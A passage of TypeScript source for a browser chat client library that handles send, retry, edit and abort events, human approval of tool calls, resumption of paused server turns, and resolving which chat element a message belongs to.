as CustomEvent;\n if (event.type !== 'aparte-send') return;\n // Scope guard: ignore events not for this instance\n if (!this._isForThisInstance(event)) return;\n this._beginUserTurn();\n\n void this._handleSend(event);\n };\n }\n\n /**\n * Answer the chats: listen on `window` for `aparte-send`, `aparte-retry`, `aparte-edit`,\n * `aparte-abort` and `aparte-conversation-loaded`. Nothing streams before this is\n * called. Starting a stopped client puts its `keyResolver` back on the config.\n */\n start(): void {\n // A client that was stopped and started again signs requests with its own\n // key again: `stop()` takes the resolver off the config.\n this._registerKeyResolver();\n if (!this._boundHandler) {\n this._setupListeners();\n }\n if (this._boundHandler) {\n window.addEventListener('aparte-send', this._boundHandler);\n }\n if (!this._boundAbortHandler) {\n this._boundAbortHandler = (e?: Event) => {\n // Scope guard\n if (!this._isForThisInstance(e)) return;\n this.abort();\n };\n }\n window.addEventListener('aparte-abort', this._boundAbortHandler);\n if (!this._boundRetryHandler) {\n this._boundRetryHandler = (e: Event) => {\n const evt = e as CustomEvent;\n if (!this._isForThisInstance(evt)) return;\n void this._handleRetry(evt);\n };\n }\n window.addEventListener('aparte-retry', this._boundRetryHandler);\n\n if (!this._boundEditHandler) {\n this._boundEditHandler = (e: Event) => {\n const evt = e as CustomEvent;\n if (!this._isForThisInstance(evt)) return;\n void this._handleEdit(evt);\n };\n }\n window.addEventListener('aparte-edit', this._boundEditHandler);\n\n // A conversation came back with a turn a server loop paused: answer it now.\n if (!this._boundLoadedHandler) {\n this._boundLoadedHandler = (e: Event) => {\n if (!this._isForThisInstance(e)) return;\n const host = e.target instanceof HTMLElement ? e.target : undefined;\n void this.resumeDeferred(host ?? (e as CustomEvent<{ targetId?: string }>).detail?.targetId);\n };\n }\n window.addEventListener('aparte-conversation-loaded', this._boundLoadedHandler);\n }\n\n /**\n * Stop answering: abort the reply in flight, take this client's `keyResolver` off the\n * config, and remove the listeners.\n */\n stop(): void {\n // Abort what is in flight, not just the listeners.\n //\n // `stop()` used to remove event handlers and nothing else, so a wrapper\n // unmounting mid-stream — both `useAparteClient` and the Svelte store call\n // this on teardown — left the vendor request running: the user navigates\n // away and the tokens keep being generated and billed, with nothing left on\n // the page to render them.\n //\n // Before the early return: a client that was never `start()`ed can still\n // have a stream, because `_handleSend` can be invoked directly.\n this.abort();\n // Before the early return as well: the key source is put on the config in\n // the CONSTRUCTOR, so a client that never started still holds one, and a\n // resolver left behind keeps answering for whatever mounts next.\n this._releaseKeyResolver?.();\n this._releaseKeyResolver = null;\n if (!this._boundHandler) return;\n window.removeEventListener('aparte-send', this._boundHandler);\n this._boundHandler = null;\n if (this._boundAbortHandler) {\n window.removeEventListener('aparte-abort', this._boundAbortHandler);\n this._boundAbortHandler = null;\n }\n if (this._boundLoadedHandler) {\n window.removeEventListener('aparte-conversation-loaded', this._boundLoadedHandler);\n this._boundLoadedHandler = null;\n }\n if (this._boundRetryHandler) {\n window.removeEventListener('aparte-retry', this._boundRetryHandler);\n this._boundRetryHandler = null;\n }\n if (this._boundEditHandler) {\n window.removeEventListener('aparte-edit', this._boundEditHandler);\n this._boundEditHandler = null;\n }\n }\n\n /**\n * Abort the current streaming response and all active tool calls.\n * Dispatches `aparte-message-aborted` on the target element.\n */\n abort(): void {\n this._isAborted = true;\n this._streamController?.abort();\n }\n\n /**\n * Ask the human at the COMPOSER, and report what they decided.\n *\n * The default channel. Routing through `requestUserInput` puts the decision\n * where every other request for the user already goes, which is the whole point:\n * one queue, one panel slot, one teardown, and the same behaviour whether the\n * request came from a tool handler or from this gate.\n *\n * The tool NAME is the question and its ARGUMENTS are the body, because the\n * arguments are what is being approved — a decision surface that names the act and\n * hides its subject asks for a signature on a blank page. The transcript row stays the\n * anchor, but it is not the only place the call can be read. The panel is capped\n * at 50vh and the block inside it scrolls, so a long input cannot push the options\n * off the surface they are asked on.\n *\n * There is no `aparte-tool-decision` event and no `document` listener that answers\n * one: a decision is answered by a typed presenter registered per config instance,\n * never by a window event. A host\n * that wants to answer programmatically registers an `approvalResolver` (headless,\n * no DOM) or its own presenter, both strictly more capable than an id on an event.\n */\n private async _askForApproval(\n event: { id: string; name: string; input: Record<string, unknown> },\n signal: AbortSignal,\n target: HTMLElement,\n ): Promise<{ approved: boolean; payload?: unknown; instruction?: string }> {\n const answer = await requestUserInput({\n kind: 'approval',\n /*\n * A function, like the option labels below, and for the same reason: the\n * FRAME is locale text and follows a language switch while the question is\n * open. The tool's NAME is substituted into it and never translated — it is\n * wire format, the identifier the model called.\n */\n message: () => {\n const loc = this._config.getLocale();\n return (loc.approvalAsk ?? 'Run {tool}?').replace('{tool}', () => event.name);\n },\n // A plain string, not a function: the arguments are the model's — its JSON, or\n // the tool's own formatter's reading of it — and do not change with the\n // language. Same text the transcript row shows, from the same function and the\n // same config — the chat's, which the row renders with — so the two surfaces\n // cannot disagree about what is being run.\n details: describeToolInput(event.input, resolveConfig(target).getToolInputFormatter(event.name)),\n // Functions, not strings, same as the question: these follow a language\n // switch while the request is open, which a resolved string cannot.\n options: [\n { value: 'allow', label: () => this._config.getLocale().approveTool ?? 'Approve', tone: 'affirm' },\n { value: 'deny', label: () => this._config.getLocale().rejectTool ?? 'Reject', tone: 'deny' },\n ],\n signal,\n target,\n });\n // `decline` is the corner escape, which for a decision means \"not this\": the\n // safe reading of an unanswered approval is never \"go ahead\".\n if (answer.action !== 'accept') return { approved: false };\n const content = answer.content as { option?: string; instruction?: string } | undefined;\n const instruction = content?.instruction?.trim();\n // Typed text with no option chosen IS the refusal — \"no, do this instead\" — so\n // the instruction alone denies. An option decides on its own.\n if (instruction) return { approved: false, instruction };\n return { approved: content?.option === 'allow' };\n }\n\n\n /**\n * Resolve the auth for a provider: `options.keyResolver` takes precedence,\n * then the aparteGlobalConfig key channel (`setKeyProvider`) so a key registered\n * there reaches the request. One key source on the happy path.\n */\n /**\n * The runner calls the model somewhere else — a server loop, an AG-UI agent — so the\n * page needs no provider of its own. The engine's loop, passed explicitly, still does.\n */\n private get _modelRunsElsewhere(): boolean {\n const runner = this.options.streamRunner;\n return Boolean(runner) && runner !== runStreamAgent;\n }\n\n /**\n * The provider a turn runs on: the registered one, else, when the model runs\n * elsewhere, a stand-in carrying the id the page named (none is fine: the server\n * picks). Undefined when the page must have one and has not.\n */\n private _providerFor(providerId: string | undefined): AparteAIProvider | undefined {\n const registered = providerId ? this._config.getAIProvider(providerId) : undefined;\n if (registered) return registered;\n return this._modelRunsElsewhere ? remoteProvider(providerId ?? '') : undefined;\n }\n\n private async _resolveAuth(providerId: string): Promise<string | Record<string, string> | undefined> {\n if (this.options.keyResolver) {\n const resolved = await this.options.keyResolver(providerId);\n if (resolved) return resolved;\n }\n const key = await this._config.getKey(providerId);\n return key || undefined;\n }\n\n /**\n * The shared tail of send / retry / edit: attach the current tools, run the\n * request interceptor, honour `toolChoice: 'none'`, reset the abort flag,\n * dispatch `aparte-message-start`, run the agentic `_streamLoop`, then dispatch\n * `aparte-message-done` or route the error to the lifecycle handler.\n *\n * Callers own only their turn-specific prep (target resolution, history\n * building, appending the assistant placeholder) and hand the fully-built\n * `messages` here — one place for the provider→interceptor→toolChoice→stream\n * sequence, so it can't drift between the three entry points.\n */\n private async _streamTurn(\n targetElement: AparteChatTargetElement,\n messageId: string,\n provider: AparteAIProvider,\n messages: AparteChatMessage[],\n modelId: string,\n authConfig: string | Record<string, string> | undefined,\n opts?: {\n temperature?: number;\n /** Resume a turn a server loop paused (a reload): skip the first run. */\n resume?: NonNullable<AparteRunResult['suspended']>;\n },\n ): Promise<void> {\n // The id of the CHAT, resolved once for the whole turn — the render target is\n // a viewport and does not carry it. See `_targetIdOf`.\n const chatId = this._targetIdOf(targetElement);\n const registeredTools = this._toolsForCurrentModel();\n let baseRequest: AparteChatRequest = {\n messages,\n modelId,\n stream: true,\n tools: registeredTools.length ? registeredTools : undefined,\n ...(opts?.temperature !== undefined ? { temperature: opts.temperature } : {}),\n };\n if (this.options.requestInterceptor) {\n baseRequest = await this.options.requestInterceptor(baseRequest);\n }\n // toolChoice: 'none' — strip tools so the model never sees them.\n if (baseRequest.toolChoice === 'none') {\n baseRequest = { ...baseRequest, tools: undefined };\n }\n\n // Stopped while we were resolving auth or reading attachments: the stream\n // controller did not exist yet, so `abort()` had nothing to cancel — the\n // flag is the only trace, and it must not be thrown away here.\n if (this._isAborted) {\n dispatchLifecycleEvent(targetElement, 'aparte-message-aborted', { messageId }, chatId);\n // FINISHED, like the two abort paths below: the pending shell appended a few\n // lines up is a streaming message in the viewport's model until a terminal\n // status says otherwise, and with nothing saying it the transcript stayed\n // read-only — arrows, retry, edit — for the life of the page after one Stop\n // that landed while auth or an attachment was still being read.\n this._updateMessage(targetElement, messageId, { status: 'completed' });\n return;\n }\n dispatchLifecycleEvent(targetElement, 'aparte-message-start', { messageId, role: 'assistant' }, chatId);\n // What this turn runs on, on the reply: a pause resumed after a reload takes the\n // same model back. A resume keeps what its reply already says.\n if (!opts?.resume && provider.id) {\n this._updateMessage(targetElement, messageId, {\n model: {\n providerId: provider.id,\n modelId: baseRequest.modelId,\n ...(baseRequest.temperature !== undefined ? { temperature: baseRequest.temperature } : {}),\n },\n });\n }\n // This turn's own controller: the terminal below is decided from ITS signal, not\n // from the client-wide `_isAborted`, which the next send resets before the\n // superseded turn has returned.\n const streamController = new AbortController();\n // Registered now rather than by the first run: a turn that resumes a reload waits\n // on a panel before any run starts, and Stop has to reach that wait.\n if (this._streamController !== streamController) this._streamController?.abort();\n this._streamController = streamController;\n try {\n let result: AparteRunResult = opts?.resume\n ? { usage: undefined, suspended: opts.resume }\n : await this._streamLoop(targetElement, messageId, provider, baseRequest, authConfig, streamController);\n // A server loop paused on calls only the page can answer: ask here — the\n // panel, the policy, a browser tool — then run again with the answers, into\n // the same bubble, under the same controller. The turn's lifecycle events\n // bracket every pause, so the button stays Stop while a panel waits.\n //\n // Capped like the loop's own turns: a server that pauses on every run would\n // otherwise ask forever, and a policy that answers alone would not even pause.\n const maxResumes = this.options.maxTurns ?? 10; // the engine's default\n let resumes = 0;\n // Calls a person approved at the last pause. An agent can pause on the same call\n // twice — approve it, then run it in the browser (TanStack AI does exactly that) —\n // and the second pause must not ask again. Kept for the next pause only, and for the\n // call itself: a vendor that sends no ids has them minted per stream, so a later call\n // can carry an id approved earlier in the turn, and that approval was not for it.\n let approvedAtLastPause = new Set<string>();\n const rowEvents = createStreamAdapter({ target: targetElement as StreamAdapterTarget, config: this._config, messageId, ...(chatId ? { targetId: chatId } : {}) });\n while (result.suspended) {\n const stopped = this._isAborted || streamController.signal.aborted;\n if (!stopped && ++resumes > maxResumes) {\n this._closeOpenCalls(targetElement, messageId);\n createStreamAdapter({ target: targetElement as StreamAdapterTarget, config: this._config, messageId, ...(chatId ? { targetId: chatId } : {}) })(\n { type: 'turn-limit-exceeded', scope: 'global', limit: maxResumes },\n );\n break;\n }\n const approvedNow = new Set<string>();\n const outcomes = stopped\n ? undefined\n : await this._answerDeferred(targetElement, result.suspended.pending, streamController.signal, rowEvents, approvedAtLastPause, approvedNow);\n approvedAtLastPause = approvedNow;\n if (!outcomes) {\n // Nobody will answer them — a Stop, or a channel that gave up: the calls\n // do not run. And no run is left to say the turn stopped, so say it here.\n this._closeOpenCalls(targetElement, messageId);\n if (this._isAborted || streamController.signal.aborted) {\n dispatchLifecycleEvent(targetElement, 'aparte-message-aborted', { messageId }, chatId);\n }\n break;\n }\n const deferral: StreamDeferral = {\n outcomes,\n ...(result.suspended.ticket ? { token: result.suspended.ticket } : {}),\n };\n const messages = this._resumeMessages(targetElement, messageId, baseRequest.messages);\n this._spendPause(targetElement, messageId);\n result = await this._streamLoop(\n targetElement, messageId, provider,\n { ...baseRequest, messages },\n authConfig, streamController, deferral,\n );\n }\n const usage = result.usage;\n if (this._isAborted || streamController.signal.aborted) {\n // A stopped turn is FINISHED, and someone has to say so. The inline\n // loop marks the message completed on its way out; the injected\n // runner returns through `run-aborted` and never emits `run-done`,\n // so nothing did — and the bubble stayed flagged as streaming\n // forever. Caught by the browser suite, which is the only place a\n // stuck flag is visible.\n //\n // Not `done`, though: announcing a normal completion on top of an\n // abort is what a provider that ends quietly used to produce.\n this._closeOpenCalls(targetElement, messageId);\n this._updateMessage(targetElement, messageId, { status: 'completed' });\n } else {\n dispatchLifecycleEvent(targetElement, 'aparte-message-done', { messageId, role: 'assistant', usage }, chatId);\n }\n } catch (error: unknown) {\n // A THIRD abort path, and the one the browser suite caught after the\n // other two were closed: when the user stops before any event has\n // arrived, the fetch rejection escapes `transportCall` as an exception.\n // It never reaches the event stream, so neither the guard around\n // `reader.read()` nor the one on the `error` event can see it — and\n // `_handleLifecycleError` would REPLACE the message with an error\n // segment, turning a deliberate stop into a rendered failure.\n this._closeOpenCalls(targetElement, messageId);\n if (this._isAborted || streamController.signal.aborted) {\n dispatchLifecycleEvent(targetElement, 'aparte-message-aborted', { messageId }, chatId);\n this._updateMessage(targetElement, messageId, { status: 'completed' });\n return;\n }\n const aparteError = AparteError.from(error, AparteErrorCode.UNKNOWN_ERROR);\n this._handleLifecycleError(targetElement, messageId, aparteError);\n }\n }\n\n /**\n * Handle aparte-retry — add a sibling branch to the assistant message and re-stream\n * using the same conversation history minus the retried reply.\n */\n /**\n * The registered tools, unless the current model says it cannot call one.\n *\n * Single source for the gate, so send / retry / edit cannot drift.\n *\n * The question is \"did this model say it cannot\", not \"did it say it can\": the\n * app sets a model id by hand (`setModelConfig`) or a selector sets it from a\n * fetched list, and in both cases the model's declared capabilities are commonly\n * unknown. `undefined` capabilities read as \"can\", or `tools: []` would go on\n * the wire while `getTools()` held the tool the app had explicitly registered,\n * and the model would answer that it had no such tool. Registering a tool is an explicit act by the app; silently dropping it\n * because a `/models` listing is terse is the library second-guessing the\n * developer. A model that declares its capabilities and omits function calling\n * is still honoured — that is a statement, and it is respected.\n *\n * Failure modes, both ways round: over-sending means a model that cannot use\n * tools does not call one, or its own endpoint rejects the array with an error\n * the developer can read. Under-sending would be silent, total, and look like a\n * lying model.\n */\n private _toolsForCurrentModel(): AparteTool[] {\n const capabilities = this._config.getCurrentModel()?.capabilities;\n const declinesTools = capabilities ? !capabilities.includes('function_calling') : false;\n return declinesTools ? [] : this._config.getTools();\n }\n\n private async _handleRetry(event: CustomEvent): Promise<void> {\n const { messageId, targetId } = event.detail ?? {};\n // The same opening every user action gets — see _beginUserTurn.\n this._beginUserTurn();\n\n if (!messageId) return;\n\n const targetElement = this._resolveTarget<AparteChatTargetElement>(targetId, event);\n if (!targetElement) {\n console.warn('[AparteClient] aparte-retry — no target found');\n return;\n }\n\n // Build history BEFORE calling addSiblingOf (getMessages() returns active path)\n const allMessages: AparteMessage[] = targetElement.getMessages?.() ?? [];\n const retryIdx = allMessages.findIndex(m => m.id === messageId);\n const retryMsg = retryIdx >= 0 ? allMessages[retryIdx] : undefined;\n // For user messages: include the user message in history (AI needs to see the question).\n // For assistant messages: exclude it (we are regenerating that response).\n const sliceEnd = retryMsg?.role === 'user' ? retryIdx + 1 : retryIdx;\n // `>= 0`, not `> 0`: index 0 is a legitimate retry target (a thread seeded\n // with an assistant greeting), and treating it as \"not found\" discarded the\n // computed slice and resent the ENTIRE transcript — including the reply\n // being regenerated, so the retry produced a continuation, not a redo.\n const historyMessages = retryIdx >= 0 ? allMessages.slice(0, sliceEnd) : allMessages;\n\n // Create new sibling message and get its ID for streaming\n const newMsg: AparteMessage = {\n id: uuid(),\n role: 'assistant',\n content: '',\n status: 'pending',\n timestamp: Date.now(),\n };\n const newMessageId = targetElement.addSiblingOf?.(messageId, newMsg) ?? newMsg.id;\n\n const config = this._config.getModelConfig();\n const providerId = config.defaultProvider;\n const provider = this._providerFor(providerId);\n if (!provider) return;\n\n const authConfig = providerId ? await this._resolveAuth(providerId) : undefined;\n\n const chatMessages = this._messagesToChatMessages(historyMessages);\n\n const systemMessages = this._systemMessages();\n\n // Retry must produce a DIFFERENT answer than a byte-identical re-run:\n // temperature > 0 opts into sampling, whatever the provider — variation\n // comes from the decoder's own RNG, no seed involved. (`request.seed`\n // stays untouched: it is the caller's reproducibility knob, and writing\n // one here would defeat it.)\n await this._streamTurn(\n targetElement, newMessageId, provider,\n [...systemMessages, ...chatMessages], config.defaultModel || '',\n authConfig, { temperature: 0.4 },\n );\n }\n\n /**\n * The system messages a turn opens with: the app's own template, then the registered\n * tools' `systemPrompt`s.\n *\n * One helper for the three turn entry points (send, retry, edit), so the tool half\n * cannot be added to two of them and forgotten in the third — the same shape as the\n * abort-flag asymmetry `_beginUserTurn` exists to prevent.\n */\n private _systemMessages(): AparteChatMessage[] {\n const messages: AparteChatMessage[] = [];\n const appPrompt = this._config.resolveSystemPrompt();\n if (appPrompt) messages.push({ role: 'system', content: appPrompt });\n const toolPrompts = this._config.resolveToolSystemPrompts();\n if (toolPrompts) messages.push({ role: 'system', content: toolPrompts });\n return messages;\n }\n\n /**\n * Handle aparte-edit — update the user message in place, truncate all subsequent\n * messages, then re-stream a fresh assistant response.\n */\n private async _handleEdit(event: CustomEvent): Promise<void> {\n const { messageId, content: newContent, targetId } = event.detail ?? {};\n // The same opening every user action gets — see _beginUserTurn.\n this._beginUserTurn();\n\n if (!messageId || newContent === undefined) return;\n\n const targetElement = this._resolveTarget<AparteChatTargetElement>(targetId, event);\n if (!targetElement) {\n console.warn('[AparteClient] aparte-edit — no target found');\n return;\n }\n\n // 1. Update the user message content\n targetElement.updateMessage?.(messageId, { content: newContent });\n\n // 2. Collect all messages, find index of edited message\n const allMessages: AparteMessage[] = targetElement.getMessages?.() ?? [];\n const editIdx = allMessages.findIndex(m => m.id === messageId);\n\n // 3. Remove ALL previous responses to the edited user message.\n // truncateResponsesAfter clears every sibling branch so the new\n // response starts as the only child (sibling count = 1).\n // Fall back to truncateFrom on the active next message for older hosts.\n if (targetElement.truncateResponsesAfter) {\n targetElement.truncateResponsesAfter(messageId);\n } else {\n const nextAssistantId = editIdx >= 0 && editIdx + 1 < allMessages.length\n ? allMessages[editIdx + 1]?.id\n : undefined;\n if (nextAssistantId) {\n targetElement.truncateFrom?.(nextAssistantId);\n }\n }\n\n // 4. Build new history up to and including the edited user message\n const historyMessages = editIdx >= 0 ? allMessages.slice(0, editIdx + 1) : allMessages;\n const chatMessages = this._messagesToChatMessages(historyMessages);\n\n const systemMessages = this._systemMessages();\n\n const config = this._config.getModelConfig();\n const providerId = config.defaultProvider;\n const provider = this._providerFor(providerId);\n if (!provider) return;\n\n const authConfig = providerId ? await this._resolveAuth(providerId) : undefined;\n\n const newMessageId = uuid();\n targetElement.appendMessage?.({\n id: newMessageId,\n role: 'assistant',\n content: '',\n status: 'pending',\n timestamp: Date.now()\n });\n\n await this._streamTurn(\n targetElement, newMessageId, provider,\n [...systemMessages, ...chatMessages], config.defaultModel || '',\n authConfig,\n );\n }\n\n /**\n * The chain the gesture really came up, nearest node first.\n *\n * Read from a `window` listener, `event.target` is the shadow HOST when the event\n * left a tree of the consumer's own, and `parentElement` stops at that tree's root —\n * so a walk from either starts, or ends, outside the chat the person typed into.\n * `composedPath()` is the one chain that crosses. The fallback is for an event\n * dispatched by hand, which has no path.\n */\n private _originChain(event?: Event | null): EventTarget[] {\n const path = event?.composedPath?.() ?? [];\n if (path.length > 0) return path;\n const chain: EventTarget[] = [];\n let node = (event ? eventOrigin(event) : null) as HTMLElement | null;\n while (node) { chain.push(node); node = node.parentElement; }\n return chain;\n }\n\n /**\n * The trees a lookup must search, the one the gesture came from FIRST.\n *\n * `document.getElementById` and `document.querySelectorAll` cannot see into a shadow\n * root, so a chat mounted in one — the arrangement the theming guide endorses — is\n * invisible to both: alone, the send would be dropped with a warning; on a page that\n * also holds a chat in the light DOM, the scan would answer with the WRONG chat, and\n * the person's message AND the model's reply would land in a transcript they never\n * typed into. Nearest tree first keeps it from swapping the other way round.\n */\n private _rootsFor(event?: Event | null): ParentNode[] {\n const roots: ParentNode[] = [];\n for (const node of this._originChain(event)) {\n if (typeof (node as Node).getRootNode !== 'function') continue;\n const root = rootOf(node as Node);\n if (!roots.includes(root)) roots.push(root);\n }\n if (!roots.includes(document)) roots.push(document);\n return roots;\n }\n\n /** The element an id names, looked up in the gesture's own tree before the document. */\n private _byId(targetId: string, event?: Event | null): HTMLElement | null {\n for (const root of this._rootsFor(event)) {\n const el = (root as Partial<NonElementParentNode>).getElementById?.(targetId) as HTMLElement | null | undefined;\n if (el) return el;\n }\n return null;\n }\n\n /** The first chat that can render, own tree first — the path when nothing names one. */\n private _scanForTarget<T extends HTMLElement>(event?: Event | null): T | null {\n for (const root of this._rootsFor(event)) {\n for (const candidate of root.querySelectorAll<HTMLElement>(CHAT_SELECTOR)) {\n const target = this._asRenderTarget<T>(candidate);\n if (target) return target;\n }\n }\n return null;\n }\n\n /**\n * Resolve a target element by id (from event detail.targetId) or via targetResolver / DOM scan.\n */\n private _resolveTarget<T extends HTMLElement>(targetId?: string, event?: Event | null): T | null {\n // An explicit id / resolver is TRUSTED as given (it may gain its render\n // methods later); only the implicit DOM scan must prefer a candidate that\n // can actually render — the <aparte-chat> shell matches the selector first\n // but delegates rendering to its viewport (see _asRenderTarget), so a blind\n // candidates[0] returned an unusable shell and retry/edit silently no-op'd.\n if (targetId) {\n const el = this._byId(targetId, event);\n if (el) return this._asRenderTarget<T>(el) ?? (el as unknown as T);\n }\n if (this.options.targetResolver) {\n const el = this.options.targetResolver() as HTMLElement | null;\n if (el) return this._asRenderTarget<T>(el) ?? (el as unknown as T);\n }\n const scanned = this._scanForTarget<T>(event);\n if (scanned) return scanned;\n for (const root of this._rootsFor(event)) {\n const first = root.querySelector<HTMLElement>(CHAT_SELECTOR);\n if (first) return first as unknown as T;\n }\n return null;\n }\n\n /**\n * Resolve an element to a usable render target: itself when it exposes\n * `appendMessage`, else the viewport it delegates to. The `<aparte-chat>`\n * shell matches the host selectors/id but owns no `appendMessage` (it forwards\n * rendering to its `.viewport`), so returning the bare shell would make\n * send / retry / edit silently no-op. Returns null when neither can render.\n */\n private _asRenderTarget<T extends HTMLElement>(el: HTMLElement | null | undefined): T | null {\n if (!el) return null;\n if (typeof (el as { appendMessage?: unknown }).appendMessage === 'function') return el as unknown as T;\n const viewport = (el as { viewport?: HTMLElement | null }).viewport;\n if (viewport && typeof (viewport as { appendMessage?: unknown }).appendMessage === 'function') {\n return viewport as unknown as T;\n }\n return null;\n }\n\n /**\n * Which chat a render target BELONGS to — the id the lifecycle events must carry.\n *\n * Not `target.id`: the target is whatever renders, and an `<aparte-chat>` shell\n * delegates that to its `.viewport`, which has no id. So every lifecycle event on\n * a shell-shaped chat went out unstamped, and the receive side reads a missing id\n * as \"for every chat on the page\" — deliberately, so a single-chat page needs no\n * wiring. On a two-chat page one chat's turn therefore drove every composer.\n *\n * The climb is the same rule `aparte-composer._ownTargetId` uses on the receive\n * side, and it has to be, or the two would disagree about which chat is which:\n * the nearest `aparte-chat` / `[data-aparte-chat]` ancestor (or the element\n * itself) that HAS an id. Deliberately not `chatBoundaryOf` — that returns the\n * boundary whether or not it is identified, and an id-less boundary must fall\n * through to the next one up rather than answer \"no id\".\n */\n private _targetIdOf(el: HTMLElement | null | undefined): string | undefined {\n let node: HTMLElement | null = el ?? null;\n while (node) {\n const tag = node.tagName?.toLowerCase();\n const isHost = tag === 'aparte-chat' || node.hasAttribute?.('data-aparte-chat');\n if (isHost && node.id) return node.id;\n node = node.parentElement;\n }\n return el?.id || undefined;\n }\n\n /**\n * Convert AparteMessage[] to AparteChatMessage[] for re-submission (retry, edit).\n *\n * The SLICE is each caller's own business — retry cuts before the reply it is\n * regenerating, edit cuts after the message being reworded, send cuts at the last\n * answered turn. What a message CONTRIBUTES to the wire is not: send, retry and\n * edit must not disagree about it. A failed turn and a turn stopped before its\n * first token are filtered out rather than sent as\n * `{ role: 'assistant', content: '' }` — a claim the assistant said nothing, which\n * some providers reject outright and the rest read as an empty reply worth\n * imitating.\n */\n private _messagesToChatMessages(messages: AparteMessage[]): import('../types/chat.js').AparteChatMessage[] {\n return this._wireHistory(messages);\n }\n\n /**\n * The one rule for what a message contributes to the wire.\n *\n * Not the slice — the contribution: a role the wire has (`user`/`assistant`), a\n * turn that neither failed nor is still in flight, and text that is not empty.\n *\n * `_wireText` (not `m.content`): assistant replies stream their text into\n * `segments`, leaving `content` as '', so without flattening every reply would be\n * empty here and the drop below would swallow the whole transcript.\n */\n private _wireHistory(messages: AparteMessage[]): import('../types/chat.js').AparteChatMessage[] {\n return messages\n .filter(m => {\n if (m.role !== 'user' && m.role !== 'assistant') return false;\n return m.status !== 'error' && !AparteClient._inFlight(m);\n })\n .flatMap((m): import('../types/chat.js').AparteChatMessage[] => {\n // A reply that called tools goes out as the calls and their answers, in\n // the order it showed them — see `wire-history.ts`. Every other message\n // keeps its one text, compaction preamble included.\n if (m.role === 'assistant' && m.segments?.some(s => s.type === 'tool_call')) {\n return wireTurns(m, (segments) => this._segmentsToText(segments));\n }\n const content = this._wireText(m);\n return content ? [{ role: m.role as 'user' | 'assistant', content }] : [];\n });\n }\n\n /** The \"no model selected\" warning is said once per client, not once per dropped send. */\n private _warnedNoModel = false;\n\n private async _handleSend(event: CustomEvent): Promise<void> {\n const { content, modelId, providerId: explicitProviderId } = event.detail;\n\n // The model gate is a POLICY, so the thing that runs the turn has to hold\n // it — not only the composer that draws it.\n //\n // `setRequireModelSelection(true)` means \"no send before a model is chosen\",\n // and `aparte-composer.submit()` honours it. But any other way of sending\n // walked straight past: an app's suggestion chip, a \"try this prompt\"\n // button, a host dispatching `aparte-send` itself. The turn then ran with\n // `config.defaultModel || ''` — an empty model id on the wire, i.e. a real\n // request to the provider that can only fail. Reported from an example: the\n // chips above the composer are clickable while the composer is still greyed\n // out, waiting for `GET /models`.\n //\n // Refused rather than queued: a send is a user action tied to a moment, and\n // holding it to replay after an async fetch would surprise anyone whose\n // fetch takes ten seconds. `warn` and not silence, because the developer is\n // the one who can fix it — an app that gates SHOULD also disable its own\n // buttons, and this is how it finds out it did not.\n if (this._config.getRequireModelSelection() && !this._config.hasSelectedModel() && !modelId) {\n console.warn(\n '[AparteClient] Send refused: requireModelSelection is on and no model is selected yet. '\n + 'The composer blocks this, but this send did not come from it — disable your own '\n + 'send affordances while `hasSelectedModel()` is false.',\n );\n return;\n }\n\n // 1. Use targetId from event detail — the most reliable path.\n // The composer sets detail.targetId = host.id (set by AparteChatComponent).\n // document.getElementById works even when the composer is temporarily detached.\n let targetElement: AparteChatTargetElement | null = null;\n const targetId = (event.detail as { targetId?: string })?.targetId as string | undefined;\n if (targetId) {\n // Resolve through the shared helper: an `<aparte-chat>` shell carries\n // the id but owns no appendMessage (it delegates to `.viewport`), so\n // requiring the method ON the element made every `target`-attributed\n // send fall through to the DOM scan below — which returns the FIRST\n // chat on the page. With two chats, one chat's reply landed in the\n // other. retry/edit already used this helper; send had drifted.\n const byId = this._byId(targetId, event);\n const resolved = this._asRenderTarget<HTMLElement>(byId) as AparteChatTargetElement | null;\n if (resolved) {\n targetElement = resolved;\n } else {\n console.warn('[AparteClient] ⚠️ targetId present but element not found or missing appendMessage:', targetId);\n }\n }\n\n // 2. User-supplied resolver (e.g. provided via APARTE_CLIENT_OPTIONS).\n // Through _asRenderTarget, like step 1: the documented answer to a chat in a\n // shadow root of your own is `targetResolver: () => root.querySelector('aparte-chat')`,\n // and requiring appendMessage ON the element rejected the shell that returns —\n // so the escape hatch out of a missed lookup missed in exactly the same way.\n if (!targetElement && this.options.targetResolver) {\n targetElement = this._asRenderTarget<HTMLElement>(\n this.options.targetResolver(),\n ) as AparteChatTargetElement | null;\n }\n\n // 3. Walk the chain the event really came up, as last resort. `composedPath()`\n // and not `parentElement` from `event.target`: this listens on the window, so\n // a send that left a shadow tree is retargeted to the host and the walk would\n // start outside the chat it came from.\n if (!targetElement) {\n for (const node of this._originChain(event)) {\n const walker = node as AparteChatTargetElement;\n if (typeof walker?.appendMessage === 'function') {\n targetElement = walker;\n break;\n }\n }\n }\n\n // 4. Same-page DOM scan. The composer/input and the viewport are usually\n // SIBLINGS (the viewport fills the scroll area, the composer docks\n // below it) — exactly the documented flat quick-start layout — so the\n // parentElement walk above never reaches the viewport. Mirror the\n // retry/edit resolver's scan so a bare `<aparte-chat-viewport>` works\n // out of the box without a targetResolver.\n if (!targetElement) {\n // Prefer the first candidate that can actually render. The <aparte-chat>\n // shell matches the selector first but delegates to its viewport (no\n // appendMessage of its own), so a blind querySelector returned an\n // unusable shell and the send silently no-op'd. _asRenderTarget skips\n // to the shell's viewport (or the bare viewport) — see also _resolveTarget.\n targetElement = this._scanForTarget<AparteChatTargetElement>(event);\n }\n\n if (!targetElement) {\n console.warn('[AparteClient] ⚠️ No target element found with appendMessage support. Provide a targetResolver in AparteClientOptions or ensure the composer has a `target` attribute.');\n return;\n }\n\n // The optimistic USER bubble, before anything below can fail — a send the\n // person cannot see is a broken chat even when the failure card explains\n // the rest. Opt-out via `echoUserMessage: false` (see the option's JSDoc).\n //\n // Ownership is a HANDSHAKE on the event, not a guess: whoever appends the\n // user message marks `detail.echoed`, and whoever sees the mark yields.\n // The ConversationController appends in the CAPTURE phase — by design it\n // always precedes this window-bubble listener — so a controller-driven\n // chat beside a raw client echoes exactly once, whichever wrapper or none\n // built either of them. The client marks too: a second client resolving\n // the same target cannot double.\n // A reply paused on a question nobody answered: the new message closes it.\n this._closeDeferred(targetElement);\n if (this.options.echoUserMessage !== false && event.detail?.echoed !== true) {\n const echoFiles: File[] = Array.isArray(event.detail?.files) ? event.detail.files : [];\n targetElement.appendMessage?.({\n id: uuid(),\n role: 'user',\n content,\n timestamp: Date.now(),\n ...(echoFiles.length > 0 ? { attachments: filesToAttachments(echoFiles) } : {}),\n });\n if (event.detail && typeof event.detail === 'object') 